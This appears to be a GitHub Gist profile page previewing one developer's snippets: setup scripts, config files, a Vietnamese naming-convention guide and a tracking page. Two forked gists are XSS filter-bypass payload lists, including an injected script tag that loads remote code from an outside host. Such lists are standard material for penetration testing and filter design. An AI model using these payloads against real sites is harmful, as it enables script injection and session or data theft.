Skip to content

Instantly share code, notes, and snippets.

View mrtonyhuynh's full-sized avatar
😇
Nice & Professional

Tony Huỳnh mrtonyhuynh

😇
Nice & Professional
View GitHub Profile
@mrtonyhuynh
mrtonyhuynh / naming-convention.md
Last active March 25, 2020 03:39
Documentation 1

Naming convention

Version 1.0
Date December 12, 2019

Tài liệu này cung cấp quy ước đặt tên biến, function, class, component,... trong JavaScript, TypeScript, React

Ưu điểm:

  • Giảm thời gian để đọc hiểu code khi đọc lại code.
  • Giúp tập trung vào các vấn đề quan trọng hơn thay vì quan tâm đến cách đặt tên.
@mrtonyhuynh
mrtonyhuynh / Fix Visual Studio Compiler
Created January 14, 2020 10:05
Visual Studio Compiler
Trong trường hợp có lỗi liên quan đến Visual Studio Compiler có thể sử dụng câu lệnh sau để fix
npm install --global --production windows-build-tools
npm config set msvs_version 2017
@mrtonyhuynh
mrtonyhuynh / infinity-scroll-and-tracking.html
Created December 2, 2019 10:03
Infinity Scroll Loadmore & Event Tracking
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>User Behavior Tracking</title>
<!-- Bootstrap core CSS -->
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css"
integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">
<style>
@mrtonyhuynh
mrtonyhuynh / cloudSettings
Last active October 27, 2020 17:18
Visual Studio Code Settings Sync Gist
{"lastUpload":"2020-10-27T17:17:57.124Z","extensionVersion":"v3.4.3"}
@mrtonyhuynh
mrtonyhuynh / docker-compose.yml
Created July 24, 2019 10:02 — forked from barnybug/docker-compose.yml
Docker compose for a Docker-in-docker gitlab runners setup
# Docker-in-Docker Gitlab runners setup taken from:
# https://medium.com/@tonywooster/docker-in-docker-in-gitlab-runners-220caeb708ca
dind:
restart: always
privileged: true
volumes:
- /var/lib/docker
image: docker:17.09.0-ce-dind
command:
- --storage-driver=overlay2
@mrtonyhuynh
mrtonyhuynh / xxsfilterbypass.lst
Created June 4, 2019 07:59 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@mrtonyhuynh
mrtonyhuynh / 666_lines_of_XSS_vectors.html
Created June 4, 2019 07:58 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@mrtonyhuynh
mrtonyhuynh / cloudSettings
Last active August 18, 2019 14:36
Visual Studio Code Settings Sync Gist
{"lastUpload":"2019-08-18T14:36:21.722Z","extensionVersion":"v3.4.1"}
@mrtonyhuynh
mrtonyhuynh / setup.sh
Created February 26, 2019 14:37 — forked from submtd/setup.sh
Ubuntu 18.04 PHP Local Development
#!/bin/bash
# This script will set up a LEMP environment for local development on
# Ubuntu 18.04. Nginx will look for sites in ~/Code/{folder}/public/. These
# sites can be accessed locally by going to http://{folder}.localtest.me. An
# example site called "info" is created automatically and you can view it by
# going to http://info.localtest.me. The source code for this site is in
# ~/Code/info/public/
# ADD SOME PPAs
@mrtonyhuynh
mrtonyhuynh / setup_ubuntu_18_04.sh
Created February 26, 2019 14:37 — forked from thomijasir/setup_ubuntu_18_04.sh
Auto Install Application Ubuntu 18.04 Bionic
## Install Requiriment And update System
sudo apt-get -y update
sudo apt-get -y upgrade
sudo apt-get -y dist-upgrade
sudo apt-get -y install sudo nano git net-tools sudo wget curl bash-completion
sudo apt-get -y install software-properties-common dirmngr
sudo apt-get -y install apt-transport-https lsb-release ca-certificates
sudo apt-get -y install software-properties-common
## Update First